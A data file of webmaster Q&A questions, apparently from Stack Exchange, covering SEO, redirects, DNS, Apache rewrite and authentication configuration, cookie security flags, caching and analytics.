{"id":"14421","title":"SEO - Moving site to subdomain without losing SEO Ranking","text":"My company has operated a blog site on our primary URL (e.g. www.company.com) for about 4 months. Over this time, we have built up significant SEO ranking through daily posts and articles. Our primary e-commerce product is now developed, and we plan to have the e-commerce site sit at www.company.com. The e-commerce site is hosted on MediaTemple and our blog site is hosted on BlueHost. We want to ensure we do not lose any of our SEO ranking on www.company.com during the transfer. What would your ideas be for the best way to make the transfer? 1) Would it be alright to simply move the blog site to www.blog.company.com (still on bluehost)? 2) Should we transfer our blog site to be hosted on mediatemple? 3) Should we move our blog site to www.blog.company.com and get the blog index and compile it into redirection urls for the apache? 4) For readability reasons, we would rather have our blog site at www.company.com\/blog. However, I was advised this is more difficult as we would have to configure the proxy. Any advice would be greatly appreciated. Thank you."}
{"id":"24505","title":"How do I change where a domain points to?","text":"I've just finished making a website for my dad and need to get it on line. He has a domain already (and I have access to the admin panel for that on 'fasthosts') and my mum already has some server space which she rents jointly with an old colleague of hers who handles most of the administration. My questions is: How do I change the DNS records of the domain to point to the server my mum already has? Once both domains are pointing there I have some information on how to use URL rewriting to \"split them up\" again. In fact I'll post that below and would appreciate any feedback on that too. Sorry for such a basic question, but my knowledge of how domain hosting and name servers and DNS works is poor. I have tried to Google my way around this, but nothing ties up very well with the options I have in the control panel (which is perhaps intentionally confusing). Many thanks! * * * That information about rewriting: > **Running multiple sites from a single virtual server** > > If you've registered two or more domains, each running as a separate > website, usually this would require each domain to run as a separate virtual > server. However, URL Rewriting will allow you to run multiple sites using > just a single virtual server. > > For example, if you have the domains www.site1.com and www.site2.com, simply > place each site in a folder under your htdocs folder with the same name as > the domain, i.e. \/site1 and \/site2. > > The code required would be set out in the following format: > > > <rule name=\"Site1\"> > <match url=\"(.*)\" \/> > <conditions logicalGrouping=\"MatchAny\"> > <add input=\"{HTTP_HOST}\" pattern=\"site1.com\" \/> > <\/conditions> > <action type=\"Rewrite\" url=\"\/site1\/{R:0}\" \/> > <\/rule> > > > Just keep adding new rules for any new sites. If you would like 2 sites to > point to the same folder, you can just add in more conditions: > > > <rule name=\"Site1\"> > <match url=\"(.*)\" \/> > <conditions logicalGrouping=\"MatchAny\"> > <add input=\"{HTTP_HOST}\" pattern=\"site1a.com\" \/> > <add input=\"{HTTP_HOST}\" pattern=\"site1b.com\" \/> > <add input=\"{HTTP_HOST}\" pattern=\"site1c.com\" \/> > <\/conditions> > <action type=\"Rewrite\" url=\"\/site1\/{R:0}\" \/> > <\/rule> >"}
{"id":"24500","title":"How can I tell how many iOS 3 users are accessing my website?","text":"I would like to know how many iOS 3.2 (and presumably below) users are accessing my website. The reason is because iOS 3.2 had a maximum cache limit of around 25.6k, and files larger than this size would not be cached. This is according to http:\/\/www.yuiblog.com\/blog\/2010\/06\/28\/mobile-browser-cache- limits\/ We use both awstats and Google Analytics. Unfortunately neither gives the iOS version. awstats simply reports Mac OS X and the Safari version. Google Analytics does not report the version of the operating system either, but gives the Safari versions in great refinement. A solution to this question would be a mapping of which Safari versions indicated iOS 3.2, or simply which Safari versions had the 25.6k cache limit."}
{"id":"38084","title":"Images not indexed by google since moving to cdn","text":"Last week I moved all the images on coffeeandvanilla.com to a cdn( maxcdn.coffeeandvanilla.com ). The problem I'm having is that although the sitemap—generated by Yoast WordPress SEO plugin—points images to the correct location, Google only indexes[sic] images from the category and page site maps but 0 images from the posts sitemap( see screenshot https:\/\/dl.dropbox.com\/u\/4635252\/sitemap.png ) This website has been doing quite well with Google image-search before the change, visits from Google image search have dropped from ~200\/day to 11 yesterday Here is an example entry from the generated posts.xml sitemap http:\/\/pastebin.com\/vcMRf9VW Can anyone suggest where the problem lies? Why have I lost all my google image juice? Should I just wait some more, how long before really worrying?"}
{"id":"1514","title":"Single V\/s Multiple Databases","text":"I've built this web app (php & mysql) which stores information for various organisations (about 20 clients currently). The current scenario stores client-related information in individual databases, so there's 20 client databases and 1 master database. One of the main advantages here is that as each client db is isolated, the numbering of client artifacts (reports, audits) etc. is sequenced; giving our clients a feeling of security. Each DB has roughly 15 tables, and the most rows in a table are about 2000. This is expected to be bumped upto 5000 records, at most. Managing a single db-level change means changing 20 databases, but in the rare event that I need to make such a change, I use a script that does this in a single function call. We're on a shared hosting arrangement, and our ISP supplies us with a limited no. of databases; and that's what led me to think in terms of centralising the database; so that ALL the client data can be stored in the master database. Of course, some important issues that crop up are: a. Maintaining the artifact sequence, (this could be addressed by creating an additional reference key) b. Speed and performance (in which case I can create indexes to speed things up) c. Security: This will be managed as each query that fetches client info. will also track their client_id In the future, we might need to consider comparing datasets of one organisation with another, but I believe that can be achieved on a centralised db too. I'm somewhat inclined (for performance and maintainability reasons) to move to a centralised database. Do you think moving to a centralised database makes more sense than staying as we are (on individual databases)? Thanks for your advice."}
{"id":"64647","title":"Get exact time of each click - AdWords","text":"I have an AdWords campaign running and want to get a list with all clicks and the exact time the click occured. And I want to do this without having a tracking code on my homepage. So it needs to be via the API (AdWords\/Analytics). You might think know that this is not possible. But big Bid Management tools (e.g. Kenshoo) know all details of every click and they don't have tracking code of my website (only on the success page of my contact form). How is that possible? The dimensions in AdWords only let me group the clicks at the hour level."}
{"id":"1516","title":"Page speed affecting ranking in practice","text":"Articles like this one discuss Google possibly taking speed into account for ranking factors. Are there any other search engines which already take speed into account for search results? or perhaps a labs version of Google that takes it into account?"}
{"id":"64821","title":"How to you prevent someone from getting a \"new free trial period\" by just creating a new login?","text":"I am considering several options for the Trial version of our web app. The one I favor the most is the classic trial period. Of course, it's a LOT easier for someone to hack this system. They can defeat the various methods of _fingerprinting_ the user, thusly: * Browser **cookie** : Clear their cookies completely (or just for our site) or use a different device. Although Evercookie may help with the former. * **Email** address: Create a new login (with a new email address) I'm going to monitor things for a while and just see how it goes. If it's a problem I'll consider requiring a credit card number matched to a name and billing zip code. Each such \"ID constellation\" would be considered one user. Someone could still have multiple credit card numbers but we could flag the same name+zipcode coming up again. **Are there any better ways to do this?**"}
{"id":"18569","title":"Meta Descriptions for pages not Indexed by Search Engine?","text":"I have read about Meat Descriptions here on the webmasters forum. The question I have is is it necessary or important to have description on pages that are not being index by the search engine. Like for instances pages in \"Members Area\" section of my site or pages blocked by a robots.txt file."}
{"id":"32055","title":"Subdomains and Site","text":"didn't know how to put this into to a title. Ok my idea is to have any subdomain working on my site, and for example if I type: what.example.com (my site has a unique folder for every subdomain, and within that folder, there is just a simple config file that sees the 'what' ( first part of subdomain) and loads database information based on the string and the whole site is populated. So if I put lol.example.com I have the same site, but with different information just based on database. Do you understand? And then if people type the main site example.com or www.example.com they have the main site which is completely different from the subdomains. So how can I do this? I have this idea for a site of mine, in which the main site example.com will be a information site with a payment system. And when users pay me, I add their info to to an unique file where all other user info is located ( database info ), and then their site is whatever subdomain they have chosen .example.com , and there they have their info and can login. edit: I just can't figure out how to allow any subdomain to be inserted in the url, loading the sub site, as grabbing the first part of the subdomain is easy and then everything would work."}
{"id":"53226","title":"Advert appearing twice - in some browsers not others","text":"I have a small and simple pure HTML website here, which contains an advert in a `table` on the left hand side of every page in the site. I only ever checked that it worked on Firefox on a PC. But just now I have been alerted to the fact that on the front page, the advert appears in two locations in both Chrome, Internet Explorer and Firefox for Mac. Even more strangely, the double-advert looks fine (i.e. just appears once) on every _other_ page on the site, regardless of the browser - even though the code for the ad is identical. I'm completely baffled."}
{"id":"53220","title":"What's wrong with my mod rewrite for GEOIP based on location?","text":"I'm a bit of a newb in modrewrite but used it successfully on my server before. I successful installed the module on my apache server and tested out with PHP test page(it correctly returned my area code) so I decided to test it out on a site and have it redirect to another page on it. GeoIPEnable On GeoIPDBFile \/usr\/local\/share\/GeoIP\/GeoIP.dat Standard GeoIPDBFile \/usr\/local\/share\/GeoIP\/GeoLiteCity.dat Standard RewriteEngine On RewriteCond %{ENV:GEOIP_AREA_CODE} ^847 RewriteRule ^$ http:\/\/www.teetimelawncare\\.com\/lawncare\\.html$1 [NC,QSA] I simply get 500 Internal Server Errors every single time. Any idea why? EDIT: I was having errors with my AddType x-mapp php5 line in my .htaccess file. Removing that allows it to work."}
{"id":"48030","title":"How can I set a secure flag on cookies generated from a Python application?","text":"I have an application written in Python running behind Apache and SSL. I am not seeing a secure flag on my cookie: `apache Server version: Apache\/2.2.15 (Unix)` I have added a configuration line to my _ssl.conf_ as: `Header edit Set-Cookie ^(.*)$ $1;Secure;HttpOnly` I don't have enough points to post a screen shot of my session. Can anyone share their experience with this or provide any help?"}
{"id":"22961","title":"Are there any image manipulation tools for a website that don't require installation?","text":"Are there any tools for to manipulate images that don't require installation. Or better put, imagemagik and GD both require installing, whereas something like jwplayer or ckeditor (not image related I know) do not. I'm looking for something I can bundle in with a custom CMS for users to copy the files and then work straight off the bat. Nothing fancy, simple image resizing is enough."}
{"id":"19679","title":"CSS templates for standard html elements?","text":"I'm not looking for html page templates... but rather basic element templates. Is anyone aware of a site that carries this type of template? I want to create my own layouts and such, but I would love to have some simple copy\/paste templates that style: * Forms * Buttons * Tables * Typography * Some general classes (alerts, info, etc, images)"}
{"id":"6947","title":"Does changing domain ownership affect SEO?","text":"I have heard that when domain ownership changes, the domain loses its page rank. My theory on this is: Lots of sites selling high PR domains actually cheat. They invest in high PR links for the domain they want to sell (say buy a yahoo directory link, or maybe even use their own set of high PR pages to link to that domain temporarily). As soon as someone buys the \"high PR\" domain, they delete those links. And the new owner effectively gets a '0 page rank' site. _This_ might have led to the misconception that changing owners makes the domain lose its PR. But I may be wrong. Can someone share their insights on this? Do you think it is safe for me to change registrar without affecting my SEO and current page rank at all? (Note that changing registrars can be as good as changing owners if privacy protection is enabled - as complete whois info will change). Anyone with prior experience where changing registrars _has_ or _has not_ affected their SEO? regards, JP"}
{"id":"58964","title":"Why my ads do not show up on Google?","text":"My friend bid for \"catalog carrefour\". If I search for \"catalog carrefour\" on Google, I would expect some ads showing up on top. It didn't. My ads doesn't show up. Even though Google AdWords say my ads rank 1."}
{"id":"18563","title":"How do I keep track of multiple websites?","text":"As an owner of multiple websites I sometimes find it difficult to remember when each site needs renewing. Another problem is that I have to log into every single site to check the site traffic statistics. Is there a centralized tool that I can use which will display all the websites in a table with their current stats, expiry dates etc? I noticed that people tend to use Excel, but this doesn't seem like a viable solution for my problem. I expect that the number of sites I own\/maintain will continue to increase. I also design websites for others, most of which don't understand the concept of paying for hosting and domain names. If I was able to list other peoples sites which I have access to I would be able to notify them and arrange payment prior to it being required. ~Sam"}
{"id":"38335","title":"Google Trends for Website suddenly closed?","text":"Has google closed it's Trends for Website service? http:\/\/trends.google.com\/websites?q=wikipedia.org I can't find any news on it"}
{"id":"38333","title":"Google Chrome audit: resources are explicitly non-cacheable?","text":"If I run a Google Chrome audit on a site, it lists all CSS, PNG, JPG, JS files and even the main domain (i.e. www.example.com) under the heading: ## Leverage browser caching * The following resources are explicitly non-cacheable. Consider making them cacheable if possible Will the features in the .htaccess of the HTML5 boilerplate help to resolve this? If not, how best to approach this?"}
{"id":"56489","title":"How to solve misspelling error in non English website to optimize SEO?","text":"I am the owner of website `pretesti.ge`. The content is not English and when I try to optimize it for SEO I come across the misspelling errors (\"This page contains some spelling errors.\"). 1. Is there a way to ignore this errors? 2. Do these errors affect Google rankings? My site's permalinks are set to the \"post name\", seems the name looks something like \" **საატესტატო_გამოცდები** \" do you think that it may affect too?"}
{"id":"35228","title":"Web hosting for Israeli visitors","text":"I developed a version of a client's main website in Hebrew. Most of the Hebrew site visitors will be coming from Israel. My server is fast in the States but sluggish in Israel (per some ping testing). How can I speed up serving the site to Israel?"}
{"id":"43089","title":"How can I distinguish between two files with the same name in Google Analytics?","text":"I've got two index.html files for different subdomains (www. and gametimer.smartersoftware.de). I have enabled sub-domain tracking in Google Analytics and posted the corresponding script. However, I only see index.html, apparently for both files. I would like to be able to distinguish between the two. What do I have to change to enable that?"}
{"id":"11556","title":"Why not \"DOT lol\" domains?","text":"How would one go about creating a website using the \".lol\" domain? Is it even possible? And if not, why not?"}
{"id":"43082","title":"legal to post pictures...?","text":"I am planning on working on an erotic website and I am wondering what might be the risks implied in doing so. I would firstly ask sorry if this is not the right website to ask but there is not stackexchange for law\/legal related problems. If you do a quick search on google for \"sexy girls\" you will get a lot of results. Suppose I would like to take said pictures and save them in my database. Is it legal to do so? Thanks in advance."}
{"id":"32684","title":"How do I get a contact me tool something like Sky has (see details for more info)","text":"How do I get a contact me tool something like Sky has? Sky has a tool where you select a topic, subtopic, etc. Click here to see this tool."}
{"id":"51709","title":"Why my subdomain has higher page rank than main domain?","text":"What is the possible cause that make my subdomain to have higher page rank than my main domain? I can understand that subdomain and main domain are considered a different domain, but the main domain traffic has more traffic and more content while the subdomain only has 3% of the main traffic. * Main domain: http:\/\/www.khmerload.com (Pagerank 2) * Sub domain: http:\/\/music.khmerload.com (Pagerank 3)"}
{"id":"50618","title":"How Google will treat my website if I make my home desktop PC as server to host my website?","text":"My self is quite disappointed with hosting services we have in India, and looking forward to make my home desktop PC as server to make host my website (database and pages). So just wondering how Google or any search engine will treat my website as crawling, indexing and ranking point of view and what are the major pros and cons for that."}
{"id":"22217","title":"Which browsers handle `Content-Encoding: gzip` and which of them has any special requirements on encodinq quality?","text":"I am creating a \"hand made\" HTTP 1\/0, 1\/1 server. I recently integrated zip lib so now I can stream encoded gziped data in and out. I wonder Which major browsers (alive ones - IE6-IE10, Chrome, FF, etc) send `Accept-Encoding: deflate, gzip, ...` and so can handle `Content-Encoding: gzip` today? Which of them send any quality expectations? Which of them can send encoded gziped post request and multypart\/form data to my server?"}
{"id":"53011","title":"Split testing only for a traffic from a particular country","text":"How to setup up split testing only for the user coming only from a particular country in Google Analytics experiment section? I want to show a different page for all traffic coming from USA and different page to user from UK."}
{"id":"26218","title":"Should I always use HTML5 Microdata for SEO?","text":"So I've been looking into this HTML 5 Microdata, but I'm not sure if or when it is appropriate to use. I know that if used with rating and you search a website it will pull up things like video rating and article ratings etc. But for Microdata like People or Places, is that so useful that I should start implementing it into all my websites - big and small? How big of an impact will this really have on my SEO if I start using Microdata on everything?"}
{"id":"25071","title":"Why does my site only work with a www in the URL?","text":"I'm a bit confused as the following points: 1. There is a simple text website, with no javascript, that works only with the prefix. `http:\/\/www.mysite.corporation.com` works but `http\/\/mysite.corporation.com` will not work. What could be going on? 2. I run a few LAMP vps' and don't recall ever having trouble with the leading www 3. Why do people write URLs with a www. Is there some history behind this?"}
{"id":"32170","title":"I have a video streaming site with a paywall. How do I track users that have been referred by an affiliate?","text":"What I would like to do is track if a user has been referred to my website. If the incoming user purchases something I would like to share revenue with the affiliate. I'm not sure what the common ways people do this. I can put a new user form on the affiliate website and then track each new user that form creates. This creates a problem of people who don't create a new user account but come to the website through a link. How do I manage this?"}
{"id":"64668","title":"Home page at \/home-page-name instead of \/","text":"I was wondering if having your home page at http:\/\/domain.com\/home-page-name instead of just: http:\/\/domain.com\/ would affect SEO? Not only that, but if users go to `domain.com` they are redirected to `domain.com\/home-page-name` within the PHP application. So I just was wondering if any of that hindered or greatly hindered SEO (namely, Google ranking)? And if so, why?"}
{"id":"43884","title":"Seo Fake backlinking from other sites","text":"The title might be a little bit confusing. Well, I noticed that someone had used a page's URL for backlinking or indexing his keywords. This is what he did: The normal url: http:\/\/ .....Default.aspx He edited the normal url to: http:\/\/ ..... Default.aspx?places-to-buy-wedding-dresses So Now (what I think) the person have been making backlinks for the edited url. So when I search for the actual site. Then the edited url shows up in google. (also the normal url, with a description of the edited url.) So the edited url doesn't actually exist. It's just created as Default.aspx?.. Any explanations? This didn't happened to my site, just noticed it in another site. How can I do avoid this happening to my site?"}
{"id":"25074","title":"Embedded ratings widget or addon for putting ratings\/reviews on our web site?","text":"I need to integrate a product rating and review feature into my company's product pages. Rather than build one from scratch, I am exploring the options available for third party products, such as powerreviews.com. _(Our site users will provide all of the ratings and reviews. We do not need to buy reviews)._ Ideally, I am looking for something like Disqus where I simply accepted the default values in the administrator and added a couple of lines in my site and voila, I had an awesome comments section to each page of my web site. What are the options to add product ratings and reviews to our site?"}
{"id":"21045","title":"How does 301 redirection work across the network? & should I use it if there is a chance we made need to change the resource back to the original URL?","text":"I've built a CMS that makes it fairly easy for my client to relocate pages in their site hierarchy. This site has all human-readable and intuitive URLs, so moving a page necessarily means that its URL changes. I am storing records of each resource's past URLs in the data store so that requests for bygone URLs are re-routed to their appropriate successors. I'm warning my clients not to re-arrange the site willy-nilly (for numerous reasons). But nevertheless I suspect there's a chance page moves could get reversed from time to time. So I'm trying to figure out whether 301 or 302 or 307 redirects should be used when serving up pages to requests for out-of-date URLs. I understand the value of using 301 for search engine optimization. But my concern is with this system possibly inadvertently making some pages unavailable to some users **QUESTIONS:** 1. That is, if the clients move a page at location\/URL A to a new location B, then users get the redirect for A to B, and then the clients move the page back to A again, how long can I expect any of those users to keep getting their requests for A redirected to B -- in this case sending them to my friendly 404 page? 2. Is it until an item in their browser history is cleared? 3. Is the redirect somehow cached in routers throughout the internet? 4. How does this work? 5. How long can I expect the 301 redirect to linger _out there_ ?"}
{"id":"60563","title":"Redirect for special characters","text":"I want to set a redirect as below. `http:\/\/www.domain.com\/course\/view.php?id=2` **TO** `http:\/\/www.domain.com\/course\/view.php?id=2§ion=1` Can you please let me know how can this be set ?"}
{"id":"13477","title":"For SEO, is a 301 or 302 redirect better for affiliate links?","text":"For SEO, is a 301 or 302 redirect better for affiliate links? Are there any benefits\/drawbacks for either? PriceGrabber uses 301 Shopzilla uses 302 Nextag uses 302"}
{"id":"60667","title":"Avoiding increases in 404 errors after massive URL deletion","text":"We have a relatively new website (no external links, PR0, DA17) and we are making a major change in content. On the one hand we have to incorporate new content and otherwise eliminate much old content. When we finally make this change, for several reasons, more than 100,000 URLs will give a `404` error. The main reason is that the URL pattern of products will change from something like `example.com\/1871-producto1\/` to `example.com\/producto1\/` **How would you recommend to proceed in order to minimize page not found errors?** In most cases, we will do a `301` redirect. But we do not want to abuse these redirects. So far we are blocking `404` pages using `robots.txt` and manually de-indexing many from Webmaster tools, as explained by Google here. **Would you launch the site with this big amount of 404 errors, hoping that they will gradually disappear, or would you clean them in any other way?**"}
{"id":"16335","title":"Several audio tracks with a flash video","text":"I have videos in different formats (wma, mkv) with several audio tracks (one by language). I would like to make these videos available in streaming for video-on-demand. One told me that the flash video format cannot handle more than one audio track. If this is true, what are my options to provide these videos ? I have two probably working ideas and one for which I'm not sure because of flash players capabilities. The first idea is to create for each mkv, N flash videos, one for each sound track. This is probably easy to do with ffmpeg for example. This solution has the advantage of simplicity but requires much more storage, since the video part will be stored several times. The second solution would be to dynamically generate the flash video with the desired language once the customer has paid for it. I think this would be very tricky to implement correctly. It may also not be fast enough to do the conversion. So I probably forget this one. The third solution would be perfect but I don't know if it is possible at all. It consists on spliting audio and video apart and let the flash player mix the correct audio track with the video on the customer computer. I have no idea wether this is possible with adobe flash, nor if there are existing implementations. What do you think about the third option ? Do you have better suggestions ? Thanks !"}
{"id":"23218","title":"Use Google Apps mail with website on a separate web host","text":"We've bought a domain through the free Google Apps service and use the Gmail account provided. I'm thinking of hosting our own site on a separate web host, but emails sent to our domain might be directed to our web host. Is there a way to continue using Gmail while the domain points to the web host? I've never dealt with domain names and web hosts before, nor am I experienced with web development (will use a CMS)."}
{"id":"65396","title":"Google alternative to Schema.org’s LimitedAvailability","text":"We've recently been trying to implement schema.org more fully on our e-commerce site (and gotten nothing but headaches). We often allow customers to place an online order for backordered products, especially if we know they'll be back in stock soon. To accommodate this we're using an availability of LimitedAvailability and the availabilityStarts property. Here's a sample from the site: <div itemtype=\"http:\/\/schema.org\/Offer\" itemscope=\"\" itemprop=\"offers\"> <p class=\"availability \">Availability: Backordered Until 07-07-2014<\/p> <link itemprop=\"availability\" href=\"http:\/\/schema.org\/LimitedAvailability\"> <meta content=\"2014-07-07T00:00:00+00:00\" itemprop=\"availabilityStarts\"> <\/div> The problem is our Google Merchant Center is complaining of \"Invalid microdata for availability information on product landing page\" and flagging the LimitedAvailability value as invalid. What are my alternatives short of just not using schema markup on these products? None of the other ItemAvailability values really fit the bill. Has anyone else dealt with this inconsistency?"}
{"id":"27362","title":"How to avoid basic authentication warning when using protected directory?","text":"I used cpanel on my hosted site to set up a password protected directory to allow downloads of specific files. I send people a link to the file by email and include their username and password so they can authenticate and download the file. When people use IE there is a warning message: _Warning this server is requesting your username and password be sent in an insecure manner..._ This server is Apache. How can I stop this messsage appearing? Will SSL stop it? I would prefer to not have to use SSL."}
{"id":"19501","title":"Apache http.conf allow intranet","text":"what would be the correct config to allow only authenticated users and the intranet (without need for a password) in apache? This does not request a password and without the \"satisfy any\" intranet users are also required to enter a password... <Directory \"\/var\/www\"> # Allow Network Access and\/or Basic Auth Satisfy any allow from 192.168 AuthName \"Enter passwd!\" require valid-user AuthUserFile \/var\/.passwd AuthType Basic allow from all order deny,allow <\/Directory>"}
{"id":"48035","title":"Griefing to steal pagerank off my website?","text":"I was looking today in my Google Webmaster tools for my website and see duplicate titles for the following pages on my website (small sample out of many on my site index): \/?title=3_Misconceptions_Regarding_Traumatic_Human_brain_Injury365 \/?title=3_or_more_Misguided_beliefs_Pertaining_to_Disturbing_Head_Incidents2902384 \/?title=A_Listing_Of_Successful_Web_Marketing_Tips_For_EveryoneHelpful_Online_Marketing_Methods_For_Easy_Success \/?title=Adhere_to_This_kind_of_Online_marketing_Guidance_To_develop_Your_Business These are certainly not pages I have created! I also had a look at my structured data which I have created on my site and I can see this (small sample out of many): Structured Data > __sid=11 (Markup: kualalumpur.yalwa.my) Structured Data > __sid=7 (Markup: www.locanto.cn) None of this is the result of something I have done. It's obviously some sort of griefing or elaborate plan to steal pagerank. Yesterday I installed php automated 301 redirects and canonicals on all my pages to try to firm this up (thanks to some wonderful help from stack overflow people). But I'd like to understand more about this and what their objective is."}
{"id":"57287","title":"Using a front controller design pattern doesn't allow images to be served","text":"I am currently using a front controller. All requests for my website go through it. I have a problem with image links like: <img src=\"img\/image.jpg\" \/> Then my front controller will try to dispatch the request to: _application\/controller\/ImgController.php_. Then the image won't load. I think it has something to do with the _.htaccess_ file: RewriteEngine On RewriteCond %{REQUEST_FILENAME} -s [OR] RewriteCond %{REQUEST_FILENAME} -l [OR] RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^.*$ - [NC,L] RewriteRule ^.*$ index.php [NC,L]"}
{"id":"32518","title":"How to publish\/transfer a completed website with database from one server to another server?","text":"How to publish\/transfer a completed website with database from one server to another server? I have been creating .net website with mssql database (with an inbuilt online text editor for live editing of the website from my clients), how do I completely transfer the entire website from my server folder. **i.e mywebsite.com\/demo\/index.aspx to >>> client.com\/index.aspx** Any easy way to do it?"}
{"id":"57283","title":"Bing \"Search within\" Bar in Results","text":"Bing has started showing a \"Search within xyz.com\" bar for some searches. This appears in the organic listings and not ads (like Google has).  This has recently started showing for one of my clients but lands on the wrong page internally when used. I've searched for instructions on how to control this but to no avail. How can we make sure users end up landing on a page of results for the search terms entered into this box? How can we get this to appear for other clients' sites?"}
{"id":"34530","title":"Google shows my tumblr blog with original URL instead of custom domain","text":"I'm new to domains and related stuff, I recently bought a custom domain for my tumblr blog, however when I google it, the original tumblr address shows up (jonathanwiesel.tumblr.com) not my custom domain (jonathanwiesel.com) any recommendations please?"}
{"id":"67733","title":"Values for saved data and saved requests much lower in CloudFlare analytics for several months","text":"For several months now the pie charts in my CloudFlare analytics show a much smaller value for the saved data and saved requests (around 5%). Before this the pie charts showed a saving of around 50% since I was using CloudFlare (2013). Do you also see this change and can confirm this? Nothing was changed on the server-side and all my domains are affected."}
{"id":"261","title":"Is an animated favicon.ico a bad idea? Are there cool uses of animated favicon.ico out there?","text":"Whenever I generate a `favicon.ico` using html-kit.com, it gives me the option to get an animated version. I've never used an animated favicon, but other than it being \"visually noisy\" is there any reason it's a bad idea? Are there any creative or interesting usages of an animated favicon out there? **EDIT** To be clear, the animated version html-kit gives you is a GIF, which you can point to using a meta tag. _Sorry for implying favicon.ico image format supports animation!_"}
{"id":"51872","title":"PHP header redirect that maintains query parameters?","text":"I am experimenting with the PHP redirect http:\/\/www.phpjunkyard.com\/tutorials\/php-redirect.php. Specifically the 301 redirect to create a self correcting URL to help with typos - there's a unique ID in the URL as well that needs to be correct for it to work. Can I still allow for analytics tracking parameters e.g. `tracking=yes` ? Currently the rewrite strips this out."}
{"id":"32020","title":"Please help how to undo 301 on blog?","text":"I have a landing page on example.com and then a blog at example.com\/blog. I noticed I have very little traffic on the blog even though it has 45 posts. I went to Bing Webmaster Tools and found this 301 message \"moved permanently\" on H1 and title tags which I want to remove. My landing page looks perfect for title and H1 tags and the meta name on the landing page is perfect also. How can I get this on my blog too? Am I right in thinking this is why I have so little traffic?"}
{"id":"268","title":"How would I go about migrating to HTML5 without alienating the majority of my user audience?","text":"I'd really like to implement some of the new features that come standard with HTML5 but I want to be able to do it in a way that doesn't break my site. I know that Progressive Enhancement and checking the useragent is always an option. Are there any better alternatives out there?"}
{"id":"8874","title":"how to setup a webhosting site?","text":"I have purchased a cPanel\/WHM web hosting reseller account and I want to set up a site for people to set up a hosting accounts. I also would like to have a domain name registration system on the site, so people can register the domain name they would like to host with me. How can I do this? Are there any ready- made scripts available or should I create my own script using the WHM API? Thanks a lot."}
{"id":"6012","title":"What URL should I use for my blog archives?","text":"I'm starting a new blog and I have the ability to publish my archives (old post urls that will receive most of my search traffic) anywhere I choose without any repercussions. I've been taking some time to think about where to publish my archives, which will be dashified versions of post titles (i.e. `my-post-about-topic-x.html`) and my choices are to publish in the root (`blogurl.com\/my-post.html`), in some subdirectory (`blogurl.com\/archive\/my- post.html`) or some other option I haven't thought of. I'm focusing on _simplicity_ so I like the first option (no subdirectory) but that requires that I reserve certain names for other templates (such as a list of all old posts at archive.html). However, not reserving any file names also has its benefits in simplicity. What are some other pros and cons of archive urls that I've listed? I'd be interested in any other archive urls you may think of as well."}
{"id":"14994","title":"Where can I find good web hosting reviews?","text":"I'm trying to choose a new hosting service for a WordPress blog, I've stumbled upon several services and most of them look good, so I was trying to find reviews from current user to see what they have to say, is there any website where I can find people's thoughts on the different web hosting companies \/ services?."}
{"id":"53178","title":"What are the problems of httponly and secure cookies?","text":"We would like to set: 1. all our cookies (session id, etc.) as \"httponly\" 2. all security (session token, \"remember me\", etc.) cookies as \"secure\" Except compatiblity issues, what are the know problems to use httponly and secure cookies? Does Google bot support\/like them? Are there some blocking issues\/bugs with some browsers? I have seen well known websites not using \"httponly\" and \"secure\" for important cookies. Negligence? Technical reason? Note 1: the question is not related to security. We know why we need to set \"httponly\" and\/or \"secure\". But as some well known websites not using `https` do not set these 2 attributes on sensitive cookies, we were trying to understand which reason is more important than security (compatibility, bug, SEO, etc)."}
{"id":"8879","title":"Wordpress plugin installation error","text":"I'm trying to upload secure-wordpress.1.0.6, and I receive the following error: > Warning: touch() [function.touch]: open_basedir restriction in effect. > File(\/abs_path\/wordpress\/tmp\/secure-wordpress.tmp) is not within the allowed > path(s): (\/abs_path\/:\/abs_path\/:\/usr\/local\/lib\/php:\/tmp\/php_upload) in > \/abs_path\/public\/www\/wordpress\/wp-admin\/includes\/file.php on line 199 > > Download failed. Could not create Temporary file. The \/wp-content folder and all it's subfolders have 777 permission. I've added the following two lines to wp-config.php: putenv('TMPDIR='.ini_get('upload_tmp_dir') ); define('WP_TEMP_DIR', ABSPATH .'wp-content\/uploads\/'); What else should I try? I am using Wordpress 3.04 in a PHP 4.49 environment."}
{"id":"21470","title":"Moving a domain and staging url","text":"I have a website with web hosting I am planning on switching away from (Windows Server). So I got a hosting plan with a linux server and I was going to build a site there using Perch CMS. Right now I have a temporary domain (minus a real domain name) at http:\/\/gator1784.hostgator.com\/~elaine\/perch\/ However Perch does not recommend using a temporary domain with a tilde (~elaine), what should I do? What are my options? I would just like to build this site on the new server and not have too many issues when I switch the domain over. The current website has to remain live for now (on the other server which is windows) while I build the current site on a linux server."}
{"id":"17247","title":"Does including the site name in a link help me to get more pages indexed?","text":"I have my links set up like this: <a href=\"http:\/\/abc.com\/test\/abc\"> <a href=\"http:\/\/abc.com\/test\/def\"> the abc.com is repeated many times. What I would like to know is if I need include this at all. How about if I code the links as: <a href=\"\/test\/abc\"> <a href=\"\/test\/def\"> Would a search engine consider these the same as the links with abc.com?"}
{"id":"52476","title":"Ideal cache times for browser caching times for different file types?","text":"I am trying to improve my site's performance - and that includes caching. I found some great caching via .htaccess from the boilerplate html5 template - but the cache times seem odd. Does anyone have ideal or preferred caching times for their php\/html, js, css, and image files?"}
{"id":"17241","title":"When and when not to use a CDN","text":"I'm working on a web-application that loads a couple of small gif images onto the screen. I'm using a relative path, which means they are loaded from the same web server that serves the php page. The operation is instantaneous, and I'm on a different continent than the web server. I just tested a CDN network for this (Cloudfront), thinking that moving static files closer to the user is a great idea. However, all of these files now take a half second or so to be rendered on the screen. I now have to use a absolute path, of course (https:\/\/xyzvf.cloufront.net\/images\/) Why is that? Is the absolute path a problem? I'm reducing the HTTP requests to my own server which is a good thing, but that delay is annoying. Isn't CDN suited for this?"}
{"id":"17240","title":"How to collect articles for my new Article Directory","text":"I've an idea and just want suggestions and comments about it. I'm launching an free article directory, which as usual will allow to have author's dofollow backlinks. How do I get good articles? Can I contact the authors of articles published in other article directories and ask their permission to allow me to republish the same article?"}
{"id":"10049","title":"Google analytics: how many visitors have visited n times?","text":"I'm trying to guess how many loyal users I have by counting the number of people that have visited the site 10 times. How can I answer this question with Google Analytics? \"Visitor Loyalty\" is a tempting answer, but the label for loyalty is \"Visits that were the visitor's nth visit,\" and I want something more like \"Visitors that visited n times.\" For example, we have 40 visits in the \"51-100\" visit range, but I think that could be a single user who visited 91 times. Or two users who visited 71 times each. The whole chart makes a good logic puzzle (I wonder if there's a unique solution) but doesn't easily answer the question I have."}
